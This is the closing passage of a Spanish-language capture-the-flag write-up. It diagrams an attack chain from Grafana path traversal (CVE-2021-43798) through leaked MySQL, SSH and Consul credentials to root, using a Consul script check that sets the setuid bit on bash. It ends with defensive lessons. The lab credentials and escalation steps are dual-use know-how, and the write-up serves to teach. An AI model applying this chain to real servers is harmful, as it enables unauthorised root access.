MySQL grafana:dontStandSoCloseToMe63221! ─▶ whackywidget.users ─▶ base64
▼
SSH developer:anEnglishManInNewYork027468 ─▶ user.txt
│ ~/.gitconfig ─▶ /opt/my-app ─▶ git log ─▶ commit "tidy config script"
▼
CONSUL_HTTP_TOKEN = bb03b43b-1d81-d62b-24b5-39540ee469b5
│ consul como root + /etc/consul.d/config.d escribible
▼
health-check .hcl (enable_script_checks) ─▶ consul reload ─▶ chmod u+s /bin/bash
▼
bash -p ─▶ root ─▶ root.txtLecciones aprendidas
- Un path traversal sin autenticar es crítico. CVE-2021-43798 deja leer
grafana.ini,grafana.dby cualquier fichero legible por el proceso. Mantener Grafana parcheado y no exponer el 3000. - La versión del exploit no tiene que coincidir exactamente. El PoC decía 8.3.0 y la máquina corría 8.2.0: como el fallo se corrigió en 8.3.1, todas las anteriores estaban afectadas. Leer el exploit antes de ejecutarlo también convirtió un script interactivo en un
curlde una línea. - Las credenciales se propagan en cadena. La contraseña del admin de Grafana abre su API, que revela la de MySQL, que da la de
developer: cada secreto encadena el siguiente. Rotar credenciales y no reutilizarlas entre servicios. - base64 no protege nada. Guardar una contraseña en base64 en la base de datos es texto plano con pasos extra. Hashear con algoritmos lentos.
- git recuerda lo que borras. El commit "tidy config script" quitó el token del código tres minutos después de introducirlo, y ahí sigue en el diff. Rotar cualquier credencial filtrada; limpiar el historial no basta si el repositorio ya se compartió.
- Servicios que ejecutan scripts como root son root. Consul con
enable_script_checksy un directorio de configuración escribible permite ejecución como root. El proceso ni siquiera debería correr comoroothabiendo un usuarioconsulcreado para ello.